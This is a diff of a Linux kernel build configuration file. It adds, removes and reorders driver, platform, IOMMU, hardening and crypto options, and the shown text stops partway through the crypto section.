@@ -1267,24 +1357,28 @@ CONFIG_E1000E_HWTS=y # CONFIG_ICE is not set # CONFIG_FM10K is not set # CONFIG_IGC is not set +# CONFIG_NET_VENDOR_WANGXUN is not set # CONFIG_JME is not set +# CONFIG_NET_VENDOR_LITEX is not set # CONFIG_NET_VENDOR_MARVELL is not set # CONFIG_NET_VENDOR_MELLANOX is not set # CONFIG_NET_VENDOR_MICREL is not set # CONFIG_NET_VENDOR_MICROCHIP is not set # CONFIG_NET_VENDOR_MICROSEMI is not set +# CONFIG_NET_VENDOR_MICROSOFT is not set # CONFIG_NET_VENDOR_MYRI is not set # CONFIG_FEALNX is not set +# CONFIG_NET_VENDOR_NI is not set # CONFIG_NET_VENDOR_NATSEMI is not set # CONFIG_NET_VENDOR_NETERION is not set # CONFIG_NET_VENDOR_NETRONOME is not set -# CONFIG_NET_VENDOR_NI is not set # CONFIG_NET_VENDOR_NVIDIA is not set # CONFIG_NET_VENDOR_OKI is not set # CONFIG_ETHOC is not set # CONFIG_NET_VENDOR_PACKET_ENGINES is not set # CONFIG_NET_VENDOR_PENSANDO is not set # CONFIG_NET_VENDOR_QLOGIC is not set +# CONFIG_NET_VENDOR_BROCADE is not set # CONFIG_NET_VENDOR_QUALCOMM is not set # CONFIG_NET_VENDOR_RDC is not set # CONFIG_NET_VENDOR_REALTEK is not set @@ -1292,9 +1386,9 @@ CONFIG_E1000E_HWTS=y # CONFIG_NET_VENDOR_ROCKER is not set # CONFIG_NET_VENDOR_SAMSUNG is not set # CONFIG_NET_VENDOR_SEEQ is not set -# CONFIG_NET_VENDOR_SOLARFLARE is not set # CONFIG_NET_VENDOR_SILAN is not set # CONFIG_NET_VENDOR_SIS is not set +# CONFIG_NET_VENDOR_SOLARFLARE is not set # CONFIG_NET_VENDOR_SMSC is not set # CONFIG_NET_VENDOR_SOCIONEXT is not set # CONFIG_NET_VENDOR_STMICRO is not set @@ -1302,6 +1396,7 @@ CONFIG_E1000E_HWTS=y # CONFIG_NET_VENDOR_SYNOPSYS is not set # CONFIG_NET_VENDOR_TEHUTI is not set # CONFIG_NET_VENDOR_TI is not set +# CONFIG_NET_VENDOR_VERTEXCOM is not set # CONFIG_NET_VENDOR_VIA is not set # CONFIG_NET_VENDOR_WIZNET is not set # CONFIG_NET_VENDOR_XILINX is not set @@ -1309,6 +1404,7 @@ CONFIG_E1000E_HWTS=y # CONFIG_HIPPI is not set # CONFIG_NET_SB1000 is not set # CONFIG_PHYLIB is not set +# CONFIG_PSE_CONTROLLER is not set # CONFIG_MDIO_DEVICE is not set # @@ -1360,26 +1456,29 @@ CONFIG_USB_NET_CDC_SUBSET=m # CONFIG_USB_VL600 is not set # CONFIG_USB_NET_CH9200 is not set # CONFIG_USB_NET_AQC111 is not set +CONFIG_USB_RTL8153_ECM=m # CONFIG_WLAN is not set +# CONFIG_WAN is not set # -# Enable WiMAX (Networking options) to see the WiMAX drivers +# Wireless WAN # -# CONFIG_WAN is not set +# CONFIG_WWAN is not set +# end of Wireless WAN + # CONFIG_VMXNET3 is not set # CONFIG_FUJITSU_ES is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support # CONFIG_INPUT=y # CONFIG_INPUT_FF_MEMLESS is not set -# CONFIG_INPUT_POLLDEV is not set # CONFIG_INPUT_SPARSEKMAP is not set # CONFIG_INPUT_MATRIXKMAP is not set +CONFIG_INPUT_VIVALDIFMAP=y # # Userland interfaces @@ -1413,6 +1512,7 @@ CONFIG_KEYBOARD_ATKBD=y # CONFIG_KEYBOARD_STOWAWAY is not set # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set +# CONFIG_KEYBOARD_CYPRESS_SF is not set # CONFIG_INPUT_MOUSE is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TABLET is not set @@ -1469,6 +1569,7 @@ CONFIG_SERIAL_8250_RUNTIME_UARTS=4 # CONFIG_SERIAL_8250_RT288X is not set # CONFIG_SERIAL_8250_LPSS is not set # CONFIG_SERIAL_8250_MID is not set +# CONFIG_SERIAL_8250_PERICOM is not set # # Non-8250 serial port support @@ -1492,7 +1593,6 @@ CONFIG_SERIAL_CORE=y # CONFIG_N_GSM is not set # CONFIG_NOZOMI is not set # CONFIG_NULL_TTY is not set -# CONFIG_TRACE_SINK is not set # CONFIG_SERIAL_DEV_BUS is not set CONFIG_TTY_PRINTK=y CONFIG_TTY_PRINTK_LEVEL=6 @@ -1509,9 +1609,7 @@ CONFIG_HW_RANDOM_INTEL=y # CONFIG_APPLICOM is not set # CONFIG_MWAVE is not set CONFIG_DEVMEM=y -# CONFIG_DEVKMEM is not set # CONFIG_NVRAM is not set -# CONFIG_RAW_DRIVER is not set CONFIG_DEVPORT=y # CONFIG_HPET is not set # CONFIG_HANGCHECK_TIMER is not set @@ -1519,6 +1617,8 @@ CONFIG_TCG_TPM=y # CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y +# CONFIG_TCG_TIS_I2C is not set +# CONFIG_TCG_TIS_I2C_CR50 is not set # CONFIG_TCG_TIS_I2C_ATMEL is not set # CONFIG_TCG_TIS_I2C_INFINEON is not set # CONFIG_TCG_TIS_I2C_NUVOTON is not set @@ -1530,10 +1630,10 @@ CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - +# CONFIG_XILLYUSB is not set CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1610,6 +1710,8 @@ CONFIG_I2C_ALGOBIT=y # External I2C/SMBus adapter drivers # # CONFIG_I2C_DIOLAN_U2C is not set +# CONFIG_I2C_CP2615 is not set +# CONFIG_I2C_PCI1XXXX is not set # CONFIG_I2C_ROBOTFUZZ_OSIF is not set # CONFIG_I2C_TAOS_EVM is not set # CONFIG_I2C_TINY_USB is not set @@ -1618,6 +1720,7 @@ CONFIG_I2C_ALGOBIT=y # Other I2C/SMBus bus drivers # # CONFIG_I2C_MLXCPLD is not set +# CONFIG_I2C_VIRTIO is not set # end of I2C Hardware Bus support # CONFIG_I2C_STUB is not set @@ -1639,6 +1742,7 @@ CONFIG_I2C_SLAVE=y # PTP clock support # # CONFIG_PTP_1588_CLOCK is not set +CONFIG_PTP_1588_CLOCK_OPTIONAL=y # # Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. @@ -1652,12 +1756,14 @@ CONFIG_I2C_SLAVE=y CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set # CONFIG_PDA_POWER is not set +# CONFIG_IP5XXX_POWER is not set # CONFIG_TEST_POWER is not set # CONFIG_CHARGER_ADP5061 is not set # CONFIG_BATTERY_CW2015 is not set # CONFIG_BATTERY_DS2780 is not set # CONFIG_BATTERY_DS2781 is not set # CONFIG_BATTERY_DS2782 is not set +# CONFIG_BATTERY_SAMSUNG_SDI is not set # CONFIG_BATTERY_SBS is not set # CONFIG_CHARGER_SBS is not set # CONFIG_BATTERY_BQ27XXX is not set @@ -1665,10 +1771,14 @@ CONFIG_POWER_SUPPLY=y # CONFIG_BATTERY_MAX17042 is not set # CONFIG_CHARGER_MAX8903 is not set # CONFIG_CHARGER_LP8727 is not set +# CONFIG_CHARGER_LTC4162L is not set +# CONFIG_CHARGER_MAX77976 is not set # CONFIG_CHARGER_BQ2415X is not set -# CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_GOLDFISH is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set +# CONFIG_BATTERY_UG3105 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set @@ -1688,6 +1798,7 @@ CONFIG_THERMAL_GOV_STEP_WISE=y # Intel thermal drivers # # CONFIG_INTEL_POWERCLAMP is not set +CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_PKG_TEMP_THERMAL is not set # CONFIG_INTEL_SOC_DTS_THERMAL is not set @@ -1698,6 +1809,9 @@ CONFIG_THERMAL_GOV_STEP_WISE=y # end of ACPI INT340X thermal drivers # CONFIG_INTEL_PCH_THERMAL is not set +# CONFIG_INTEL_TCC_COOLING is not set +# CONFIG_INTEL_MENLOW is not set +# CONFIG_INTEL_HFI_THERMAL is not set # end of Intel thermal drivers # CONFIG_WATCHDOG is not set @@ -1730,6 +1844,7 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_LPC_SCH is not set # CONFIG_MFD_INTEL_LPSS_ACPI is not set # CONFIG_MFD_INTEL_LPSS_PCI is not set +# CONFIG_MFD_INTEL_PMC_BXT is not set # CONFIG_MFD_IQS62X is not set # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_KEMPLD is not set @@ -1744,19 +1859,21 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_MAX8997 is not set # CONFIG_MFD_MAX8998 is not set # CONFIG_MFD_MT6360 is not set +# CONFIG_MFD_MT6370 is not set # CONFIG_MFD_MT6397 is not set # CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set # CONFIG_MFD_RETU is not set # CONFIG_MFD_PCF50633 is not set +# CONFIG_MFD_SY7636A is not set # CONFIG_MFD_RDC321X is not set +# CONFIG_MFD_RT4831 is not set # CONFIG_MFD_RT5033 is not set +# CONFIG_MFD_RT5120 is not set # CONFIG_MFD_RC5T583 is not set -# CONFIG_MFD_SEC_CORE is not set # CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set # CONFIG_MFD_SKY81452 is not set -# CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set @@ -1770,7 +1887,6 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_LP873X is not set # CONFIG_MFD_TPS6586X is not set # CONFIG_MFD_TPS65912_I2C is not set -# CONFIG_MFD_TPS80031 is not set # CONFIG_TWL4030_CORE is not set # CONFIG_TWL6040_CORE is not set # CONFIG_MFD_WL1273_CORE is not set @@ -1782,21 +1898,28 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_WM831X_I2C is not set # CONFIG_MFD_WM8350_I2C is not set # CONFIG_MFD_WM8994 is not set +# CONFIG_MFD_ATC260X_I2C is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set # CONFIG_RC_CORE is not set + +# +# CEC support +# # CONFIG_MEDIA_CEC_SUPPORT is not set +# end of CEC support + # CONFIG_MEDIA_SUPPORT is not set # # Graphics support # +CONFIG_APERTURE_HELPERS=y # CONFIG_AGP is not set -CONFIG_VGA_ARB=y -CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_VGA_SWITCHEROO is not set # CONFIG_DRM is not set +# CONFIG_DRM_DEBUG_MODESET_LOCK is not set # # ARM devices @@ -1889,6 +2012,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -1914,7 +2038,6 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_A4TECH is not set # CONFIG_HID_ACCUTOUCH is not set # CONFIG_HID_ACRUX is not set -# CONFIG_HID_APPLE is not set # CONFIG_HID_APPLEIR is not set # CONFIG_HID_AUREAL is not set # CONFIG_HID_BELKIN is not set @@ -1941,6 +2064,8 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_UCLOGIC is not set # CONFIG_HID_WALTOP is not set # CONFIG_HID_VIEWSONIC is not set +# CONFIG_HID_VRC2 is not set +# CONFIG_HID_XIAOMI is not set # CONFIG_HID_GYRATION is not set # CONFIG_HID_ICADE is not set # CONFIG_HID_ITE is not set @@ -1949,9 +2074,11 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_KENSINGTON is not set # CONFIG_HID_LCPOWER is not set # CONFIG_HID_LENOVO is not set +# CONFIG_HID_LETSKETCH is not set # CONFIG_HID_MAGICMOUSE is not set # CONFIG_HID_MALTRON is not set # CONFIG_HID_MAYFLASH is not set +# CONFIG_HID_MEGAWORLD_FF is not set # CONFIG_HID_REDRAGON is not set # CONFIG_HID_MICROSOFT is not set # CONFIG_HID_MONTEREY is not set @@ -1964,11 +2091,15 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_PETALYNX is not set # CONFIG_HID_PICOLCD is not set # CONFIG_HID_PLANTRONICS is not set +# CONFIG_HID_PXRC is not set +# CONFIG_HID_RAZER is not set # CONFIG_HID_PRIMAX is not set # CONFIG_HID_RETRODE is not set # CONFIG_HID_ROCCAT is not set # CONFIG_HID_SAITEK is not set # CONFIG_HID_SAMSUNG is not set +# CONFIG_HID_SEMITEK is not set +# CONFIG_HID_SIGMAMICRO is not set # CONFIG_HID_SPEEDLINK is not set # CONFIG_HID_STEAM is not set # CONFIG_HID_STEELSERIES is not set @@ -1978,6 +2109,7 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_SMARTJOYPLUS is not set # CONFIG_HID_TIVO is not set # CONFIG_HID_TOPSEED is not set +# CONFIG_HID_TOPRE is not set # CONFIG_HID_THRUSTMASTER is not set # CONFIG_HID_UDRAW_PS3 is not set # CONFIG_HID_WACOM is not set @@ -2006,7 +2138,7 @@ CONFIG_USB_HID=m # # I2C HID support # -# CONFIG_I2C_HID is not set +# CONFIG_I2C_HID_ACPI is not set # end of I2C HID support # @@ -2014,6 +2146,12 @@ CONFIG_USB_HID=m # # CONFIG_INTEL_ISH_HID is not set # end of Intel ISH HID support + +# +# AMD SFH HID Support +# +# CONFIG_AMD_SFH_HID is not set +# end of AMD SFH HID Support # end of HID support CONFIG_USB_OHCI_LITTLE_ENDIAN=y @@ -2098,7 +2236,7 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_MDC800 is not set # CONFIG_USB_MICROTEK is not set # CONFIG_USBIP_CORE is not set -# CONFIG_USB_CDNS3 is not set +# CONFIG_USB_CDNS_SUPPORT is not set # CONFIG_USB_MUSB_HDRC is not set # CONFIG_USB_DWC3 is not set # CONFIG_USB_DWC2 is not set @@ -2151,6 +2289,7 @@ CONFIG_USB_STORAGE=m # CONFIG_TYPEC is not set # CONFIG_USB_ROLE_SWITCH is not set # CONFIG_MMC is not set +# CONFIG_SCSI_UFSHCD is not set # CONFIG_MEMSTICK is not set # CONFIG_NEW_LEDS is not set # CONFIG_ACCESSIBILITY is not set @@ -2219,6 +2358,7 @@ CONFIG_RTC_I2C_AND_SPI=y # CONFIG_RTC_DRV_DS3232 is not set # CONFIG_RTC_DRV_PCF2127 is not set # CONFIG_RTC_DRV_RV3029C2 is not set +# CONFIG_RTC_DRV_RX6110 is not set # # Platform RTC drivers @@ -2247,6 +2387,7 @@ CONFIG_RTC_DRV_CMOS=y # # HID Sensor RTC drivers # +# CONFIG_RTC_DRV_GOLDFISH is not set # CONFIG_DMADEVICES is not set # @@ -2254,8 +2395,10 @@ CONFIG_RTC_DRV_CMOS=y # CONFIG_SYNC_FILE=y # CONFIG_DMABUF_MOVE_NOTIFY is not set +# CONFIG_DMABUF_DEBUG is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set +# CONFIG_DMABUF_SYSFS_STATS is not set # end of DMABUF options # CONFIG_AUXDISPLAY is not set @@ -2272,13 +2415,66 @@ CONFIG_SYNC_FILE=y # end of Microsoft Hyper-V guest support # CONFIG_GREYBUS is not set +# CONFIG_COMEDI is not set # CONFIG_STAGING is not set -# CONFIG_X86_PLATFORM_DEVICES is not set -CONFIG_PMC_ATOM=y # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set +# CONFIG_SURFACE_PLATFORMS is not set +CONFIG_X86_PLATFORM_DEVICES=y +# CONFIG_ACPI_WMI is not set +# CONFIG_ACERHDF is not set +# CONFIG_ACER_WIRELESS is not set +# CONFIG_AMD_PMF is not set +# CONFIG_AMD_PMC is not set +# CONFIG_ADV_SWBUTTON is not set +# CONFIG_APPLE_GMUX is not set +# CONFIG_ASUS_LAPTOP is not set +# CONFIG_ASUS_WIRELESS is not set +# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set +# CONFIG_FUJITSU_LAPTOP is not set +# CONFIG_FUJITSU_TABLET is not set +# CONFIG_GPD_POCKET_FAN is not set +# CONFIG_HP_ACCEL is not set +# CONFIG_WIRELESS_HOTKEY is not set +# CONFIG_IBM_RTL is not set +# CONFIG_SENSORS_HDAPS is not set +# CONFIG_INTEL_SAR_INT1092 is not set +# CONFIG_INTEL_PMC_CORE is not set + +# +# Intel Speed Select Technology interface support +# +# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set +# end of Intel Speed Select Technology interface support + +# +# Intel Uncore Frequency Control +# +# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set +# end of Intel Uncore Frequency Control + +# CONFIG_INTEL_HID_EVENT is not set +# CONFIG_INTEL_VBTN is not set +# CONFIG_INTEL_PUNIT_IPC is not set +# CONFIG_INTEL_RST is not set +# CONFIG_INTEL_SMARTCONNECT is not set +# CONFIG_INTEL_TURBO_MAX_3 is not set +# CONFIG_INTEL_VSEC is not set +# CONFIG_SAMSUNG_LAPTOP is not set +# CONFIG_SAMSUNG_Q10 is not set +# CONFIG_TOSHIBA_BT_RFKILL is not set +# CONFIG_TOSHIBA_HAPS is not set +# CONFIG_ACPI_CMPC is not set +# CONFIG_PANASONIC_LAPTOP is not set +# CONFIG_TOPSTAR_LAPTOP is not set +# CONFIG_MLX_PLATFORM is not set +# CONFIG_INTEL_IPS is not set +# CONFIG_INTEL_SCU_PCI is not set +# CONFIG_INTEL_SCU_PLATFORM is not set +# CONFIG_SIEMENS_SIMATIC_IPC is not set +# CONFIG_WINMATE_FM07_KEYS is not set +# CONFIG_P2SB is not set CONFIG_HAVE_CLK=y -CONFIG_CLKDEV_LOOKUP=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y # CONFIG_COMMON_CLK_MAX9485 is not set @@ -2287,6 +2483,7 @@ CONFIG_COMMON_CLK=y # CONFIG_COMMON_CLK_SI544 is not set # CONFIG_COMMON_CLK_CDCE706 is not set # CONFIG_COMMON_CLK_CS2000_CP is not set +# CONFIG_XILINX_VCU is not set # CONFIG_HWSPINLOCK is not set # @@ -2310,7 +2507,11 @@ CONFIG_IOMMU_SUPPORT=y # # end of Generic IOMMU Pagetable Support +# CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set +CONFIG_IOMMU_DEFAULT_DMA_LAZY=y # CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set +CONFIG_IOMMU_DMA=y +CONFIG_IOMMU_SVA=y # CONFIG_AMD_IOMMU is not set CONFIG_DMAR_TABLE=y CONFIG_INTEL_IOMMU=y @@ -2344,11 +2545,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # end of Amlogic SoC drivers -# -# Aspeed SoC drivers -# -# end of Aspeed SoC drivers - # # Broadcom SoC drivers # @@ -2359,11 +2555,21 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # end of NXP/Freescale QorIQ SoC drivers +# +# fujitsu SoC drivers +# +# end of fujitsu SoC drivers + # # i.MX SoC drivers # # end of i.MX SoC drivers +# +# Enable LiteX SoC Builder specific drivers +# +# end of Enable LiteX SoC Builder specific drivers + # # Qualcomm SoC drivers # @@ -2374,7 +2580,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # Xilinx SoC drivers # -# CONFIG_XILINX_VCU is not set # end of Xilinx SoC drivers # end of SOC (System On Chip) specific Drivers @@ -2383,7 +2588,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # CONFIG_MEMORY is not set # CONFIG_IIO is not set # CONFIG_NTB is not set -# CONFIG_VME_BUS is not set # CONFIG_PWM is not set # @@ -2399,7 +2603,14 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # CONFIG_GENERIC_PHY=y # CONFIG_USB_LGM_PHY is not set +# CONFIG_PHY_CAN_TRANSCEIVER is not set + +# +# PHY drivers for Broadcom platforms +# # CONFIG_BCM_KONA_USB2_PHY is not set +# end of PHY drivers for Broadcom platforms + # CONFIG_PHY_PXA_28NM_HSIC is not set # CONFIG_PHY_PXA_28NM_USB2 is not set # CONFIG_PHY_INTEL_LGM_EMMC is not set @@ -2419,16 +2630,16 @@ CONFIG_GENERIC_PHY=y # # Android # -# CONFIG_ANDROID is not set +# CONFIG_ANDROID_BINDER_IPC is not set # end of Android CONFIG_LIBNVDIMM=y # CONFIG_BLK_DEV_PMEM is not set -# CONFIG_ND_BLK is not set # CONFIG_BTT is not set # CONFIG_DAX is not set CONFIG_NVMEM=y -CONFIG_NVMEM_SYSFS=y +# CONFIG_NVMEM_SYSFS is not set +# CONFIG_NVMEM_RMEM is not set # # HW tracing support @@ -2438,11 +2649,12 @@ CONFIG_NVMEM_SYSFS=y # end of HW tracing support # CONFIG_FPGA is not set -# CONFIG_UNISYS_VISORBUS is not set # CONFIG_SIOX is not set # CONFIG_SLIMBUS is not set # CONFIG_INTERCONNECT is not set # CONFIG_COUNTER is not set +# CONFIG_PECI is not set +# CONFIG_HTE is not set # end of Device Drivers # @@ -2468,10 +2680,8 @@ CONFIG_FS_MBCACHE=y # CONFIG_BTRFS_FS is not set # CONFIG_NILFS2_FS is not set # CONFIG_F2FS_FS is not set -# CONFIG_FS_DAX is not set # CONFIG_EXPORTFS_BLOCK_OPS is not set CONFIG_FILE_LOCKING=y -CONFIG_MANDATORY_FILE_LOCKING=y # CONFIG_FS_ENCRYPTION is not set # CONFIG_FS_VERITY is not set # CONFIG_DNOTIFY is not set @@ -2510,6 +2720,7 @@ CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" CONFIG_EXFAT_FS=y CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_NTFS_FS is not set +# CONFIG_NTFS3_FS is not set # end of DOS/FAT/EXFAT/NT Filesystems # @@ -2525,9 +2736,10 @@ CONFIG_KERNFS=y CONFIG_SYSFS=y # CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set +CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set -CONFIG_EFIVAR_FS=m +# CONFIG_EFIVAR_FS is not set # end of Pseudo filesystems # CONFIG_MISC_FILESYSTEMS is not set @@ -2597,12 +2809,9 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set CONFIG_SECURITYFS=y -CONFIG_PAGE_TABLE_ISOLATION=y # CONFIG_INTEL_TXT is not set CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y -CONFIG_HARDENED_USERCOPY_FALLBACK=y -# CONFIG_HARDENED_USERCOPY_PAGESPAN is not set # CONFIG_FORTIFY_SOURCE is not set # CONFIG_STATIC_USERMODEHELPER is not set # CONFIG_IMA_SECURE_AND_OR_TRUSTED_BOOT is not set @@ -2617,9 +2826,17 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization + +CONFIG_RANDSTRUCT_NONE=y +# CONFIG_RANDSTRUCT_FULL is not set +# CONFIG_RANDSTRUCT_PERFORMANCE is not set # end of Kernel hardening options # end of Security options @@ -2652,7 +2869,7 @@ CONFIG_CRYPTO_CRYPTD=y CONFIG_CRYPTO_AUTHENC=y # CONFIG_CRYPTO_TEST is not set CONFIG_CRYPTO_SIMD=y -CONFIG_CRYPTO_GLUE_HELPER_X86=y +# end of Crypto core or helper # # Public-key cryptography @@ -2660,114 +2877,90 @@ CONFIG_CRYPTO_GLUE_HELPER_X86=y # CONFIG_CRYPTO_RSA is not set # CONFIG_CRYPTO_DH is not set # CONFIG_CRYPTO_ECDH is not set +# CONFIG_CRYPTO_ECDSA is not set # CONFIG_CRYPTO_ECRDSA is not set # CONFIG_CRYPTO_SM2 is not set # CONFIG_CRYPTO_CURVE25519 is not set -# CONFIG_CRYPTO_CURVE25519_X86 is not set +# end of Public-key cryptography # -# Authenticated Encryption with Associated Data +# Block ciphers # -# CONFIG_CRYPTO_CCM is not set -# CONFIG_CRYPTO_GCM is not set -# CONFIG_CRYPTO_CHACHA20POLY1305 is not set -# CONFIG_CRYPTO_AEGIS128 is not set -# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set -# CONFIG_CRYPTO_SEQIV is not set -# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_AES=y +# CONFIG_CRYPTO_AES_TI is not set +# CONFIG_CRYPTO_ARIA is not set +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set +# CONFIG_CRYPTO_DES is not set +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_SERPENT is not set +# CONFIG_CRYPTO_SM4_GENERIC is not set +# CONFIG_CRYPTO_TWOFISH is not set +# end of Block ciphers # -# Block modes +# Length-preserving ciphers and modes # +# CONFIG_CRYPTO_ADIANTUM is not set +# CONFIG_CRYPTO_CHACHA20 is not set CONFIG_CRYPTO_CBC=y # CONFIG_CRYPTO_CFB is not set # CONFIG_CRYPTO_CTR is not set # CONFIG_CRYPTO_CTS is not set CONFIG_CRYPTO_ECB=y +# CONFIG_CRYPTO_HCTR2 is not set +# CONFIG_CRYPTO_KEYWRAP is not set # CONFIG_CRYPTO_LRW is not set # CONFIG_CRYPTO_OFB is not set # CONFIG_CRYPTO_PCBC is not set CONFIG_CRYPTO_XTS=y -# CONFIG_CRYPTO_KEYWRAP is not set -# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set -# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set -# CONFIG_CRYPTO_ADIANTUM is not set -CONFIG_CRYPTO_ESSIV=y +# end of Length-preserving ciphers and modes # -# Hash modes +# AEAD (authenticated encryption with associated data) ciphers # -# CONFIG_CRYPTO_CMAC is not set -CONFIG_CRYPTO_HMAC=y -# CONFIG_CRYPTO_XCBC is not set -# CONFIG_CRYPTO_VMAC is not set +# CONFIG_CRYPTO_AEGIS128 is not set +# CONFIG_CRYPTO_CHACHA20POLY1305 is not set +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set +# CONFIG_CRYPTO_SEQIV is not set +# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_ESSIV=y +# end of AEAD (authenticated encryption with associated data) ciphers # -# Digest +# Hashes, digests, and MACs # -CONFIG_CRYPTO_CRC32C=y -CONFIG_CRYPTO_CRC32C_INTEL=y -# CONFIG_CRYPTO_CRC32 is not set -# CONFIG_CRYPTO_CRC32_PCLMUL is not set -# CONFIG_CRYPTO_XXHASH is not set # CONFIG_CRYPTO_BLAKE2B is not set -# CONFIG_CRYPTO_BLAKE2S is not set -# CONFIG_CRYPTO_BLAKE2S_X86 is not set -# CONFIG_CRYPTO_CRCT10DIF is not set +# CONFIG_CRYPTO_CMAC is not set # CONFIG_CRYPTO_GHASH is not set -# CONFIG_CRYPTO_POLY1305 is not set -# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_HMAC=y # CONFIG_CRYPTO_MD4 is not set CONFIG_CRYPTO_MD5=y # CONFIG_CRYPTO_MICHAEL_MIC is not set -# CONFIG_CRYPTO_RMD128 is not set +# CONFIG_CRYPTO_POLY1305 is not set # CONFIG_CRYPTO_RMD160 is not set -# CONFIG_CRYPTO_RMD256 is not set -# CONFIG_CRYPTO_RMD320 is not set CONFIG_CRYPTO_SHA1=y -CONFIG_CRYPTO_SHA1_SSSE3=y -CONFIG_CRYPTO_SHA256_SSSE3=y -CONFIG_CRYPTO_SHA512_SSSE3=y CONFIG_CRYPTO_SHA256=y CONFIG_CRYPTO_SHA512=y # CONFIG_CRYPTO_SHA3 is not set -# CONFIG_CRYPTO_SM3 is not set +# CONFIG_CRYPTO_SM3_GENERIC is not set # CONFIG_CRYPTO_STREEBOG is not set -# CONFIG_CRYPTO_TGR192 is not set +# CONFIG_CRYPTO_VMAC is not set # CONFIG_CRYPTO_WP512 is not set -# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +# CONFIG_CRYPTO_XCBC is not set +# CONFIG_CRYPTO_XXHASH is not set +# end of Hashes, digests, and MACs # -# Ciphers +# CRCs (cyclic redundancy checks) # -# CONFIG_CRYPTO_AES is not set -# CONFIG_CRYPTO_AES_TI is not set 